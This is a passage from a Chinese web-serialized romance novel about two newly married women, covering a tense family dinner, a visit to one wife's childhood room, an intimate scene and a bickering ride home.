亲戚聚会,她永远是那个被拿来比较的“对照组”。
“你看晨雨和辰辰多大方”,“你看晨雨和辰辰多会说话”,“你要是有晨雨和辰辰一半就好了”。
她以为长大了,离开了,这一切就会结束。
但是长大只是换了个舞台,换了一批观众,戏码却从未改变。
好烦啊,她爸做饭能不能快一点,赶紧吃完饭回去吧。
温言有些烦了。
她垂着眼,有些意兴阑珊。
忽然之间,她的手忽然被握住了。
温言抬起眼。
靳子衿端坐在她身上,侧脸在灯光下显得平静无波。
她没有看着温言,而是将目光落在对面滔滔不绝的汪金玉身上。
但是她的手在茶几下方,在所有人视线不及之处,牢牢地握着温言的手,指尖甚至轻轻蹭了蹭她的虎口。
片刻之后,靳子衿开口了。
声音不高,甚至比平时更温和一些,却奇异地切断了汪金玉尚未说完的话。
“是么?”她微微偏头,像是真的在思考,“可我觉得……”
她顿了顿,终于转过脸,看向温言。
那双总是带着距离感的清冷眼眸,此刻清晰地映着温言的影子,里面漾着浅浅的笑意。
“我觉得温言很好啊。”
她说。
语气那么自然,那么笃定,仿佛在陈述一个如“太阳东升西落”般无需论证的真理。
客厅里瞬间安静下来。
汪曼玉张着嘴,汪金玉笑容僵在脸上,连一直维持着得体微笑的汪晨雨,眼底也掠过一丝错愕。
靳子衿却像没察觉这骤然的寂静,握着温言的手,扭头看着她,目光:“温言,天下第一好。”
她她微微扬起下巴,视线扫过对面神色各异的三人,神色严肃而认真:“我觉得她很好,也只有她,才能做我的妻子。”
“所以麻烦你们以后,不要再说我妻子的坏话,我不爱听。”
话音落下。
世界仿佛被按下了静音键。
温言听不见母亲倒抽气的声音,听不见舅舅尴尬的干咳,也听不见表姐茶杯与碟子磕碰的轻响。
她只能听见自己的心跳。
咚。咚。咚。
一下,又一下,沉重而滚烫地撞击着胸腔。
11. 忽然结婚啦:11
靳子衿那句话落下,像一块冰掷进热茶里,带来一种凝固般的静滞。
客厅里原本流动的热络空气骤然冻结,每个人都像是被按下了暂停键。
汪金玉脸上的笑容还保持着上扬的弧度,但嘴角的肌肉已经僵硬。
他张了张嘴,似乎想说什么圆场的话,喉咙里却只发出含糊的“呃”声。
汪晨雨垂着眼,指尖死死掐着茶杯的边缘,指节泛白。
她脸上那层得体的微笑像是被风干的釉,裂开细密的纹路。
最尴尬的是汪曼玉。
她整个人僵在沙发里,看着靳子衿,又看看温言,嘴唇翕动几下,最终什么也没说出来。
那张总是能迅速调整出恰当表情的脸上,第一次出现了某种近乎空白的茫然。
打破这片凝固的,是靳子衿本人。
她像是完全没察觉到周遭骤降的气压,极其自然地转过头,对汪曼玉说:“妈,能让温言带着我到家里逛逛吗?”
语气平静如常,仿佛刚才那句掷地有声的“不要再说我妻子的坏话”只是句寻常的闲聊。
汪曼玉如梦初醒,声音磕磕绊绊:“当,当然可以……”
她转向温言,语速快得有些慌乱:“言言啊,你带子衿到处走走……看看……”
温言点了点头:“好。”
靳子衿拉着她的手起身。
两人双手交握的姿势从隐秘变为公开,在众目睽睽下,坦然地穿过客厅。
高跟鞋和拖鞋踩在地板上,发出不同的声响,却奇异地同步。
走出客厅,走廊里的光线暗了些。
温言侧过头,问:“要去花园走走吗?虽然冬天没什么花,但……”
“不用。”靳子衿打断她,手指在她掌心轻轻挠了一下,温声道“带我去你房间吧。”
她顿了顿,补了一句:“让我看看你长大的地方。”
温言莞尔:“我不在这里长大。”
这栋叠墅是十年前买的,她博士都快毕业了才搬进来。
真正的“长大的地方”,是城西那个老小区,三室一厅,她住了十四年。
靳子衿“哦”了一声,语气里听不出情绪:“那总归在这里住过,看看也没事。”
温言说:“好。”
两人上楼,木楼梯在脚下发出轻微的“吱呀”声。
二楼走廊很安静,尽头那扇门就是温言的房间。
推开门时,一股陈旧的纸张气息扑面而来。
阳光从朝南的窗户斜射进来,在木地板上切出一块明亮的浮动光斑。
房间不大,三十平左右。
对于这栋叠墅的其他空间来说,甚至显得有些逼仄。
一张单人床靠墙放着,床上铺着素色的格子床单。
一个原木色的书架占据了整面墙,上面密密麻麻摆满了书。
书桌临窗,上面除了台灯和笔筒,还放着一个有些旧的地球仪。
角落里,立着一个半身的人体骨骼模型,塑料的,泛着冷白的光。
靳子衿环视一周,目光在那具骨骼模型上多停留了几秒。
她走到书架前,手指拂过那些书脊,淡淡道:“保存得挺好的。”
温言笑了起来:“搬家的时候,我爸把所有东西都原样搬过来了,他说扔了可惜。”
靳子衿点点头,没说话。
她走到书架前,随手抽出一本初中语文,人教版的,封面已经有些磨损了。
女人将书本翻开,赫然看到内页的空白处,是一行行瘦硬挺拔的字体。
“咦?”靳子衿微微挑眉,“瘦金体。”
这个字体并没有那么工整,字里行间透着少年人特有的不羁劲道。
笔画如刀,转折处却又有种藏不住的锋芒。
温言抬手挠了挠脸,声音里带着点难得的窘迫:“我那时候比较叛逆,觉得正楷太规矩,就学了瘦金体。”
靳子衿轻哼一声,指尖抚过那些墨迹:“嗯,挺好看。”
她像个老师一样,点评了一句,又往后翻了几页。
在一篇文言文的插图旁,空白处画着一只栩栩如生的螳螂。
这只螳螂线条流畅,细节精准,连复眼的光泽都勾勒出来了,仿佛下一秒就要振翅欲飞。
靳子衿心情微妙,抬眼看向温言:“这是谁画的?”
温言顿了顿,老实回答:“我。”
靳子衿惊讶了:“你画画这么好吗?”
温言有些羞赧:“也没有那么好啦,就是闲着没事描摹几笔。”
靳子衿眼底闪过一抹欣赏。
温言看出了她的喜欢,忍不住多说了两句:“其实我人体画得最好,有空你去我在明珠魅影的公馆,我有很多这样的素描。”
靳子衿很喜欢她这幅上套的模样,勾了勾唇角:“是嘛,看来改天我得去一趟了。”
靳子衿一连翻了好几页,津津有味欣赏着温言的杰作。
她们结婚得太过仓促,几乎是什么都没有准备,仅凭借荷尔蒙就互相熟悉了。
身体亲密,灵魂那部分,却始终是空白的。
靳子衿对于这部分空白,一直都很好奇。
因此每一次相处,都会填满那部分好奇的好时机。
透过这些画作,还有方才温言在饭桌上的应对,她仿佛看见了许多年前,那个瘦削寡言的少女,在饭桌上面对家人无休止的比较和贬低时,沉默地扒着饭,一言不发。
然后转身回到学校,在课本的空白处,用瘦硬的字体和狂野的素描,构建一个只属于自己的叛逆世界。
这是她在窒息的家庭里,为数不多的透气孔。
真厉害啊。
靳子衿想。
生长环境那么糟糕,却把自己养得那么好。
她的妻子,坚韧而沉默,如同一块顶级的帝王翡翠,忍耐着忍耐着,将自己打磨成这么璀璨的模样。
靳子衿垂下眼,指尖轻轻摩挲着纸上仿佛崭新的画作,低低道:“很可爱。”
无论是这些画作,还是用这种方式反抗的少女。
温言笑了起来,轻声道:“你不觉得我幼稚就好。”
靳子衿又抽了几本书出来翻。
历史、地理、生物……有些书页边写满了密密麻麻的笔记,字迹工整得像印刷体;有些却崭新得仿佛从未被翻开过。
“这些……”靳子衿指着那些崭新的书,很是好奇,“你没上过课?”
温言点头:“跳级了。有些年级的课,没怎么去上。”
靳子衿抬眼惊讶看她:“跳了多少?”
“小学跳了三级。”温言说得平淡,像在陈述今天天气不错。
“为什么跳这么多?”
“课本容易。”温言走到书桌前,手指点了点那个地球仪,“把全套教材拿来,自学一遍就会了,待在教室里有些浪费时间。”
她说得理所当然,仿佛这是一件再正常不过的事。
靳子衿也很同意她的看法。
对于她们这个阶层的人来说,学校教授的知识,只要取得相应的分数就好。
剩下的时间,她们学习的东西,大多都是通识课。
历史,天文,地理,金融,政治等等……
靳子衿看了温言好几秒,才问:“还跳了别的吗?”
“嗯。”温言想了想,“初二跳了,初三也跳了。大学……跳了两年吧,研究生跳了一年。”
她顿了顿,总结道:“反正跳着跳着,就毕业了。”
温言说得轻描淡写,仿佛那些让无数人煎熬的升学压力、课业重负,在她这里只是可以随意跨越的矮栏。
靳子衿靠在书架上,抱着手臂,目光在温言脸上细细打量。
她忽然想起资料上的一行小字:温言博士毕业时,她的双胞胎哥哥温辰,才刚刚本科毕业。
一个显而易见的巨大智商鸿沟。
可汪家人,包括温言的母亲,却选择性地忽视了这一点。
他们依旧固守着那套“长子为重”、“女孩子不用太聪明”的陈腐逻辑,依旧在用那种令人窒息的方式,试图将温言修剪成他们理想中的模样。
是因为那根虚无缥缈的“香火”真的那么重要?
还是因为温言太过聪明、太过耀眼,让某些人感到了不安,所以必须打压她的光芒,好维持那可笑的“平衡”?
无论哪种,靳子衿都觉得,蠢透了。
蠢得令人发笑,也令人心寒。
难怪温言不参与她们的话题,估计心里也是觉得,她们太蠢了吧。
蠢人就是这样的,一旦沾上了,就和案底一样,一辈子都甩不掉了。
还不如当做没听见,左耳朵进,右耳朵出呢。
想到这里,靳子衿在心里默默划了一条线:以后,和汪家的来往,仅限于必要的礼节。<
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至于做生意?
绝无可能。
她可不想被这种愚蠢拖累。
这些念头在脑海里转了一圈,靳子衿面上却不动声色。
她微微勾起唇角,语气里带上一丝调侃:“看来,我给我们未来的孩子,挑了个智商很高的母亲。”
温言:“……”
她卡住了。
耳朵尖以肉眼可见的速度泛红。
靳子衿欣赏了一会儿她难得的窘迫,才笑着转回书架前。
她又翻了一会儿,忽然在一摞书的缝隙里,瞥见一抹暗红色的边角。
靳子衿将她抽出来,发现是一本初中毕业证书。
温言一看到封面,几乎是扑过来想拦:“等等……”
靳子衿手一抬,轻松避开。
她侧过头,看着温言微微涨红的脸,挑了挑眉:“为什么不能看?”
“毕业照……”温言咬了咬下唇,声音低下去,“很丑的,我不想让你看。”
靳子衿奇怪地看着她:“你很丑吗?”
她顿了顿,补充道:“温医生,请不要质疑我的审美。”
温言:“……”
她不得已,只好松开手,悻悻道:“那你看吧。”
靳子衿翻开证书,内页贴着的毕业照跳入眼帘:
一个脸颊肉嘟嘟的少女,顶着一头乖巧的齐耳短发,对着镜头拘谨地微笑。
女孩眼睛很大,但因为脸太圆,被挤得有些眯起来。
整张照片透着一种,让人想伸手掐一把的憨憨柔软。
像个放大版的樱桃小丸子。
靳子衿愣住了。
几秒后,她没忍住,唇角扬了起来。
“我那时候……”温言站在一旁,声音闷闷的,“眼睛感染,吃了激素药,胖了很多。”
大家都叫她肥婆,肆无忌惮地指点她的身材,所以她才不想让靳子衿看。
那段时光,是她最不想回忆的过去之一。
靳子衿却抬起头,目光落在温言脸上。
眼前这张脸,瘦削,轮廓分明,下颌线清晰利落。
和照片里那个圆滚滚的少女,几乎判若两人。
可那双眼睛……还是那么亮。
清澈的,干净的,像蓄着一汪初融的雪水。
靳子衿忽然伸出手,指尖轻轻碰了碰温言的右眼眼角。
“现在呢?”她问,声音不自觉地放轻了,“眼睛好了吗?”
温言怔住。
靳子衿的指尖微凉,触感却很柔软。
那一点凉意贴在皮肤上,却像火星,烫得她心口发颤。
“完……完全好了。”温言听见自己的声音有些发紧。
其实没有完全好。
视神经损伤是不可逆的,右眼的视力永远恢复不到从前。
但这些东西,没必要说给靳子衿听。
靳子衿看着她,看了很久。
片刻之后她抬起另一只手,轻轻捧住温言的脸。
女人的动作很温柔,像在对待什么易碎的瓷器。
靳子衿倾身,靠近。
温言下意识地闭上眼。
一个温热的吻,柔软地落在她的右眼上。
很轻。
一触即离。
像蝴蝶停驻,又像羽毛拂过。轻得仿佛只是个错觉。
温言睁开眼。
靳子衿还捧着她的脸,距离很近。
近到温言能看清她睫毛上细碎的光,看清她眼底那片毫不掩饰的温柔。
靳子衿笑了。
女人的眼睛弯起来,声音里带着某种哄孩子般的软糯:“痛痛飞。”
温言看着她。
看着这个平日里冷清矜贵的女人,此刻眉眼弯弯,用最幼稚的话,说着最温柔的安慰。
她忽然觉得,靳子衿像水。
温热,柔软,可以将人整个包裹起来。
让人想沉溺进去,再也不愿浮上来。
就像现在这样,她想沉进去,搅弄她,将她转化成另一种形态,让她在自己怀里,婉转吟唱。
温言这么想着,伸手揽住了靳子衿的腰,手臂用力,将人带向自己。
靳子衿跌进她的怀里,仰头惊讶地看向她:“你……”
温言没有给她说话的机会,她另一只手捧住靳子衿的脸,循着她甘甜的橘子香味,低头毫不犹豫地吻了上去。
12. 忽然结婚啦:12
她们相识不过三天。
可身体却像早已签订秘密契约的共谋者,早于生涩的灵魂,先一步熟稔了彼此的温度与脉络。
靳子衿自己也说不清,怎么一碰到温言,就像干燥的荒原撞上了燎原的星火。
温言的指尖,唇瓣,每一次触碰都像带着精准的坐标,落点之处,便是野火疯长的开端。
此刻她被温言抱坐着,陷在柔软的单人床沿。
两手捧着对方的脸,指尖能触到她颌骨清晰的线条。
全身的知觉却像被过载的电流反复洗刷,每一寸皮肤都在嗡鸣。
身体深处涌起的热潮又湿又黏,空虚得发痒,几乎要噬咬理智。
她忍不住揪紧了温言后颈的衣料,布料在指间皱成一团,仿佛那是汪洋中唯一的浮木。
直到温言的手顺着她的腰线下滑,靳子衿才像从溺水的恍惚里猛然惊醒,一把扣住她的手腕。
“等……等一下……”
她松开温言的唇,气息紊乱,面颊染着胭脂般的潮红。
温言仰起脸,将她圈在怀里。
那双总是清澈的眼睛此刻蒙着一层湿漉漉的雾,直直望进她眼底:“不想要吗?”
嗓音低哑,像砂纸磨过丝绸。
靳子衿想起楼下还有一屋子人,等着她们共进晚餐。
而她们却在这里胡闹。
荒唐。
可偏偏身体诚实得可耻。
她看着温言那张漂亮又透着“老实人”气质的脸,忍不住用拇指轻轻拨弄她微肿的下唇,低笑了一声:“温医生现在是在叛逆期吗?”
语气里带着居高临下的调侃,呼吸却出卖了她的不稳。
温言抚在她裙摆边缘的手,忽然向上游移,停在她的大腿上,不轻不重地按了一下。
“不行吗?”
她反问,声音压得更低。
温言倾身,将气息渡进靳子衿微张的唇间,哑声补充:“我就在外面,我不进来。”
偏偏她的脸是那么的清秀端,说出来的话偏偏那么直白,色气。
靳子衿呼吸一窒,随即笑起来,眼尾上挑眼神蛊惑:“当然可以。”
温言也笑了。
笑容很浅,却像破开冰层的春风。
她撩开靳子衿的裙摆,仰头咬上她的唇
骨科医生的手,精准,稳定,且极具耐心。
像在研磨一方上好的古墨,对着同一个点,力道均匀,角度微妙,不急不缓。
墨汁在砚台里渐渐化开,越来越浓,越来越稠……
空气里弥漫的柑橘甜香被蒸腾出暖腻的湿度,丝丝缕缕,缠绕着每一寸呼吸。
靳子衿的意识一直飘在晕眩的边缘。
她勾着温言的脖颈,身体绷成一张拉满的弓,贝齿死死咬住下唇,将逸到喉间的呻吟狠狠咽回。
“哼……”
还是漏出一声闷哼,短促,压抑。
温言立刻倾身,用整个身体贴住她,在颠簸晃动的节奏里,将肩头送到她唇边,诱哄般低语:“咬这里。”
靳子衿像抓住救命稻草,张口咬住她衬衫下的肩膀。
力道不轻,隔着衣料也能感受到齿痕的烙印。
整个人却像寻求庇护的幼兽,蜷缩着埋进温言怀里。
温言稳稳接住她,手臂环紧,将颤栗的身躯完全包裹。
靳子衿身子一软,跌落在她怀中。
温言紧紧搂着她,让她贴在自己心口,缓了好一会后,等到对方气息平稳,才松开些许。
她的唇贴着靳子衿汗湿的鬓角,细细吻着柔:“好点了吗?”
欲念如潮水退却,理智重新占据滩涂。
靳子衿抬起眼,看着眼前人一副“纯良无害”的模样,再想想自己刚才的失态,一股懊恼直冲头顶。
她抬手,不轻不重地捶了一下温言的肩:“都怪你。”
温言自知理亏,握住她泄愤的手,从善如流:“好,都怪我。”
她顿了顿,眼底漾开一点笑意:“我给靳总赔礼道歉。”
说着,又低头去吻她的唇。
吻得没什么技巧,却足够认真。
像在复习靳子衿教过的功课,一点点描摹唇形,轻柔舔舐,用最笨拙的方式安抚她尚未平息的躁动。
两人气息再次纠缠升温时,门外不合时宜地响起了门铃声。
两人浑身一僵,齐齐扭头看向门外。
汪曼玉的声音,隔着门板传来,带着刻意的殷切:“子衿,言言啊,你们爸爸做好饭了,下来吃饭吧。”
靳子衿反应极快,一把推开温言,清了清有些发哑的嗓子,扬声回应:“好的妈,我们马上就来,您先下去吧。”
门外的汪曼玉连声应好,脚步声渐远。
靳子衿这才转回头,瞪向温言,压低声音:“怎么办?”
温言显然还沉浸在方才的余韵里,茫然地“啊”了一声:“什么怎么办?”
靳子衿低头,看向自己狼狈的裙摆,耳根发烫:“你说呢?”
温言摸了摸鼻子,视线飘忽了一瞬,给出一个实在算不上高明的建议:“要不……擦擦?”
——————
两人简单收拾了一番,下楼时,客厅里已是一派和乐融融的假象。
餐桌上菜肴丰盛,汪曼玉热情地拉开主位旁的椅子:“子衿快坐,尝尝你爸的手艺,他专门为你下厨的。”
靳子衿面色已恢复平日的清冷,牵着温言坦然落座。
她动筷尝了几口,一桌人便眼巴巴地望着她。
“怎么样?”温新建堆满笑容,眼角的皱纹都透着讨好。
“不错。”靳子衿颔首,语气平淡却足够给面子。
温新建顿时眉开眼笑:“子衿喜欢就好,喜欢就好!”
众人招呼着,只字不提她们的婚姻,只专注在眼前的餐饮,殷切得仿佛世界上最好的亲戚。
席间有一道酸笋火腿煲,酸香开胃,靳子衿多动了几筷。
温新建立刻捕捉到这个信号,忙不迭地说:“子衿要是喜欢,我让温言跟我学学,以后在家做给你吃。”
话音刚落,餐桌上的空气微妙地凝滞了一瞬。
靳子衿放下筷子,抬眼看向他。
那目光很淡,没什么情绪,却让温新建脸上的笑容僵了僵。
“不用。”她声音冷了几分,“爸把食谱发给我助理就行,家里阿姨会学着做。”
她
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顿了顿,视线扫过温言捧着饭碗的手,语气是冷硬的维护:“温言的手是用来握手术刀的,没必要沾这些。”
她这个人,真就是个冰系大魔法师,很擅长让整个席间沸腾的气氛冷凝下来。
满桌噤声。
汪曼玉最先反应过来,连忙打圆场:“哎呀老温你也是,言言的手多金贵啊,哪能让她学这个……是吧?子衿说得对,说得对……”
附和声此起彼伏,带着小心翼翼的恭维,潮水般涌向一直沉默的温言。
温言觉得有些好笑。
她侧头,看向身旁的女人。靳子衿侧脸线条利落,在餐厅吊灯的光线下显得有些冷峻。
温言忽然想起温辰那条信息,说靳子衿是“冰山大魔头”,对外人从不假辞色。
原来如此。
其实她不是天生冷酷,只是她的温度与柔软,只留给划入自己领地的人。
而现在,温言就在这片领地的中心。
看着母亲和亲戚们因靳子衿一句话而态度骤变,对她堆起前所未见的笑容,温言心中泛起一丝奇异的感受。
像看一场荒诞的默剧,风水终于倒转,曾经被忽视的角落,如今被一束强光精准照亮。
窝囊了二十多年的“老实人”,终于等来了能为她“支棱”起来的“女主人”。
她忽然伸出手,在桌布的遮掩下,轻轻握住了靳子衿垂在身侧的左手。
触碰的瞬间,靳子衿便反手握了回来,十指紧扣,力道坚定。
掌心相贴的温度,驱散了周遭所有虚假的热闹。
有靳子衿在,这顿饭,吃得前所未有地“安心”。
——————
晚饭后,汪曼玉还想留她们过夜,话里话外透着攀附的急切。
靳子衿以“明天早会有要事”为由,滴水不漏地婉拒。
温新建和汪曼玉一路将她们送到门口,目送那辆加长版劳斯莱斯幻影无声滑入夜色。
车内空间宽敞静谧,仿佛另一个世界。
隔音玻璃将尘嚣彻底隔绝,只余空调细微的风声。
温言看向对面座椅上的靳子衿,女人端坐在椅子上,定定看着她,眼底晦暗不明。
窗外流转的霓虹,倒影在她的脸上,她那张秾丽的脸美得极具冲击力,甚至让温言生出几缕不真实的感觉?
温言忍不住开口唤她:“子衿……”
话音落下,靳子衿突然气鼓鼓地哼了一声,从口袋里掏出一个东西,猛地朝温言砸来:“讨厌鬼!”
伴随着女人恼怒的语气,一团柔软微凉的黑云,毫无预兆地砸在了温言脸上。
温言下意识接住,低头一看。
一条黑色的蕾丝内裤,蜷在她掌心。
极细的丝线在车内阅读灯下,折射出一片湿漉漉的晶亮。
温言怔住了,大脑有瞬间的空白。
本能却开始自动分析:纯棉衬里,蕾丝钩花工艺,边缘是……嗯,有点湿。
她缓缓抬头。
对面的靳子衿正死死瞪着她。
那张总是从容矜贵的脸上,此刻涨满羞愤的红晕,连眼角都染上绯色。
她咬着牙,一字一顿,声音从齿缝里挤出来:“混账!”
13.忽然结婚啦:13
这句“混账”,给温言骂懵了。
那团黑色蕾丝静静躺在温言掌心,像一纸无从抵赖的罪证,在阅读灯下泛着湿润的暧昧光泽。
温言的大脑在短暂空白后,迅速启动了遇到意外状况时的分析模式。
客观,冷静,排除干扰因素。
首先,物品属性确认:女性内裤,黑色,蕾丝材质,纯棉衬里。
其次,状态分析:使用中,有湿润痕迹。
最后,情境还原:属于靳子衿,应于一个半小时前在后续处理时褪下,被折叠后放入口袋……
逻辑链条清晰。
但逻辑解决不了此刻靳子衿眼中几乎要喷薄而出的羞愤。
“你……”靳子衿的胸口微微起伏,那张秾丽的脸因情绪激动而更加生动,眼尾绯红蔓延至耳根,“你竟然让我……揣着这个……在饭桌上坐了整整一个小时。”
她试图维持平日里的冷冽语气,可声音里那一丝不易察觉的颤抖出卖了她。
温言听出来了,靳子衿被自己欺负惨了。
她眨了眨眼,低头又看了看掌心那团柔软的黑色,然后做了一个让靳子衿差点噎住的举动。
温言用指尖轻轻拈起那小块布料,就着灯光,非常认真地观察了两秒。
“纯棉衬里吸湿性很好。”温言开口,声音是她一贯的平静,甚至带着点学术探讨的意味,“蕾丝钩花是意大利工艺,缝隙设计应该考虑了透气性。不过……”
她抬起眼,看向已经目瞪口呆的靳子衿,诚恳地补充:“长时间潮湿环境贴合皮肤,即使是优质面料,也可能增加局部感染风险。”
“脱下来是一个明智的选择,你做得很好。”
跟处理什么跌打损伤似的,听得靳子衿一愣一愣。
她张了张嘴,一时间竟不知道该先骂“谁要跟你探讨这个”,还是该质问“你现在是在给我做健康科普吗”。
几秒后,她终于找回了自己的声音,咬牙切齿:“温、言!”
温言应得很快,神色乖巧:“我在的。”
她把那团蕾丝轻轻托在手心,像处理什么重要标本一样摆放端正,然后抬起头,直视靳子衿燃烧的眼睛。
“是我的错。”她承认得很干脆,没有找借口,“当时情况紧急,我应该帮你处理的。”
“如果知道你会脱下来,我会放在我的口袋里。”
靳子衿:……
这是放在口袋里的事情吗?
啊。
靳子衿要气疯了。
她涨红着脸,咬牙看着温言:“你这个……你这个……”
温言捧着手里的小玩意,静静地等着她的下一句话。
靳子衿都要气炸了。
她伸手一把抓住温言手里的东西,再次朝她砸了过去。
温言也不生气,被她砸了之后立马接住,捧在手上,问她:“还要再来一次吗?”
靳子衿沉默了:……
片刻之后,她拿起那条软云,再次砸了过去。
一连砸了好家伙,温言都乖乖的,像只可爱的小狗,每次扔出去都会把东西捡回来,递到靳子衿面前。
靳子衿看着她那张脸,又气又恼,恨不得伸手狠狠去掐她几笔。
“禽兽!”
“嗯。”
“坏蛋。”
“嗯。”
“大变态。”
“……”
“混蛋!”
“是我。”
靳子衿骂着骂着,语气开始变软,脸上的红霞却丝毫未褪:“你就让我在那里坐着,也不帮帮我。”
温言仰头看着女人泛红的眼眶,整个人都艳丽又脆弱,心软得一塌糊涂。
“对不起。”温言又说了一遍,这次声音低了些,也更沉了些,“是我的错。”
她向前倾身,从对面座椅上起身,很自然地坐到了靳子衿身边。
劳斯莱斯宽敞的后座,两人之间的距离本就不远,这一坐,几乎是肩挨着肩。
靳子衿下意识想往旁边挪一点,维持一点气势,但温言的手已经轻轻握住了她的手腕,柔声开口:“我也是第一次遇到这样的事情,没有什么经验。”
“当时在卧室,你实在是太可爱了,我情难自制,所以控制不住自己,做下这么禽兽的事情,并没有不尊重你的意思。”
她的歉意,就和她这个人,一样诚恳。
靳子衿有些扭捏,绯着脸说:“我没有不想,只是……”
好吧,她尴尬,她说不下去。
温言握着她的手,柔柔地望着她:“但你生气了。”
“我让你恼怒了,这就是我的错。”
“我不知道怎么哄你,你告诉我,怎么样才能让你消气?”
温言晃了晃靳子衿的手,满心满眼都是她:“嗯?”
靳子衿看着她眼底的诚恳,一时半会不知道怎么接话。
车厢内再次安静下来。
窗外的霓虹依旧流转,在两人侧脸上投下明明灭灭的光影。
隔音极好的车厢将整个世界隔绝在外,只剩下空调轻微的送风声,以及彼此的呼吸声。
靳子衿忽然就不那么气了。
温言这种毫无技巧可言的笨拙坦诚,像一把钝刀,轻易就撬开了她层层武装的心防。
她抬起手,揉了揉温言的耳朵,脸上还带着绯色:“你下次,不能再这样了。”
“好。”温言应得很快,“不会有下次。”
她想了想,又补充:“或者,下次我会记得先帮你处理好。”
靳子衿嗔了她一眼,说:“你先把这个处理好再说吧。”
温言从善如流:“那我现在就收好。”
她伸手将车椅上的那团黑色蕾丝收好,团吧团吧,准备塞进她的口袋中。
就在这时,靳子衿却将东西一把夺了过去,迅速塞进自己外套口袋里,动作快得几乎带风。
温言看着她泛红的耳尖,唇角很轻微地勾了一下。
“笑什么?”靳子衿敏锐地捕捉到那个弧度,立刻瞪过来。
“没笑。”温言立刻收敛表情,恢复成那副端正老实的模样,“只是觉得你很可爱。”
靳子衿心跳漏了一拍。
她抿了抿唇,强装镇定:“少来这套。”
“是真的。”温言的声音很轻,在密闭的车厢里却异常清晰,“生气的样子,害羞的样子,还有刚才在房间里,咬着我肩膀发抖的样子,都很可爱。”
靳子衿感觉自己的脸在烧。
她猛地转过头,再次看向窗外,只留给温言一个泛红的侧脸和微微绷紧的下颌线。
“温言。”她叫她的名字,声音里带着警告。
“嗯。”
“闭嘴。”
“好。”
温言果然不再说话。
但她也没有坐回对面,而是依旧坐在靳子衿身边,肩膀轻轻挨着她的肩膀。
她的体温透过薄薄的衬衫衣料传递过来,是一种稳定而令人安心的暖意。
车子平稳地行驶在夜色中,朝着城东的豪宅区驶去。
许久,靳子衿才低声开口,语气已经平静了许多,只剩下一点残余的别扭:“回家再跟你算账。”
温言侧头看她:“怎么算?”
“还没想好。”靳子衿哼了一声,“总之你等着。”
“好。”温言应着,停顿片刻,又轻声说,“等多久都可以。”
靳子衿的心脏,又不争气地软了一块。
她看向温言,伸手指向一旁的车窗:“你,靠那边去,坐好。”
温言按照她的要求挪过去坐好,靳子衿拢着大衣外套,脑袋往她身上一靠,整个人都依偎进她的怀里。
温言低头,看着靳子衿抱着手臂窝在她怀里,打了个哈欠:“回家之前,你就当我的人肉垫子,好好伺候我。”
温言笑了。
她看着靳子衿长长的睫毛垂落在眼睫,说了声好。
话音落下,温言伸手,将靳子衿揽入怀中,让她舒服地靠在自己怀里。
靳子衿没有再说话,而是闭上了眼睛。
车内阅读灯不知何时被温言调暗了。
昏暗的光线里,温言看着靳子衿在自己怀里假寐的侧脸,目光在她微微颤动的睫毛上停留片刻,然后伸手揉了揉她的发。
她的动作很轻柔,像触碰一个易碎的梦。
————————
回到进家庄园,已经是凌晨十一点了。
靳子衿没有什么“算账”的力气,两人到家之后,开始分别洗漱。
主卧外的浴室水声停了。
温言顶着半干的头发走进来,看见靳子衿已经坐在了那张Kingsize大床的中央。
女人换上了丝质的墨绿色睡袍,腰带松松系着,露出锁骨下一小片白皙的皮肤。
她背靠床头,膝上摊着一本硬壳精装书,但眼神并没落在字页上,而是望着卧室的方向,像是在等什么。
昏黄的床头灯在她侧脸投下柔和的阴影,让她平日凌厉的轮廓软化了几分。
温言脚步顿了一下。
靳子衿抬起眼,发号施令道:“过来,给我吹头发。”
语气自然得仿佛这是她们之间延续多年的惯例。
温言走过去,在床沿坐下,拿起出现在床头柜的吹风机,开始插电。
插好吹风机电源的间隙,她听见靳子衿合上书页的轻响。
温言打开吹风机最低档的暖风,手指先探入靳子衿半湿的发间试了试温度,状似随意地问,“平时都谁给你吹头发?”
风噪声里,靳子衿的声音有些模糊,但足够清晰:“平时在家我不洗头。”
温言的手顿了顿。
靳子衿补充道,语气平淡得像在说今天的天气:“一般约在办公室,造型师上/门/服务。”
温言:“……”
她沉默地继续手上的动作,指尖穿梭在浓密微卷的黑发间,感受着发丝在热风下逐渐变得轻盈干燥,摇头笑了一下。
她的妻子,可真是个皇帝。
连洗头吹发都要在“办公时间”由专人处理,仿佛私人时间与身体护理是两件需要严格区分的事务。
暖风嗡嗡作响,空气里弥漫开洗发水清冽的雪松尾调,混合着靳子衿身上淡淡的柑橘暖香,暧昧又迷离。
温言不自觉地将动作放轻,像在对待什么珍贵易损的工艺品。
就在她以为靳子衿会在暖风里昏昏欲睡时,对方忽然开口:“右手给我。”
温言关掉吹风机:“嗯?”
“手。”
靳子衿重复,已经转过身,朝她伸出自己的手掌。
温言不明所以,但还是把右手递了过去。
靳子衿握住她的手腕,指腹顺着她修长的手指一根根抚过,最后停在了无名指的指根处。
“今天在饭桌上,”靳子衿垂着眼,拇指摩挲着那处皮肤,语气平静无波,“你表姐一直在看你的手。。”
温言愣了一下,她完全没注意到。
靳子衿抬起眼,目光锐利:“她在看你右手的无名指。”
她松开温言的手,身体向后靠回床头,抱起手臂:“看你的手上,没有戒指,所以在不断确认我们俩的关系是不是表现出来的那么好。”
温言沉默地看着自己空空的无名指,陷入了沉思。
她是突然被推到台前的。
原本的戒指是照着她哥哥温辰的尺寸做的,尽管她的手指已经比一般女孩子要大一些,但还是显得大了。
不合适。
再加上一直做手术,所以她婚礼之后,一直没有戴。
温言意识到自己今天的演出失误了,抬眸看向靳子衿,语气诚恳:“抱歉,今天是我没有考虑周全。”
“下次一定会戴。”
靳子衿却挥挥手,不甚在意道:“没事,我今天也没戴,因为
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那又不是我们的婚戒。”
她仰头看着温言,女人的面庞在夜灯下格外明艳:“温言……”
她唤,语气平静得像是在陈述:“我们得重新做一对婚戒,这段时间,你和我都挑挑自己喜欢的戒指样式吧。”
话音落下,卧室里陷入短暂的安静。
只有加湿器喷出细微水雾的嘶嘶声。
温言看着靳子衿。
女人坐在暖光里,表情依旧淡淡的,仿佛刚才说的只是“明天早餐吃三明治”这样平常的事。
靳子衿注意到了。
注意到了那些连温言自己都忽略的探究视线,注意到了她们婚姻里目前缺少的地方……
她不仅注意到了,她还计划去修正。
她是真的,很看重这段婚姻,很看重自己。
心脏像是被一只温暖的手轻轻攥住,酸胀的暖流从心口涌向四肢百骸。
温言张了张嘴,却发现自己发不出声音。
任何语言在此刻都显得苍白。
她觉得全身都在烧。
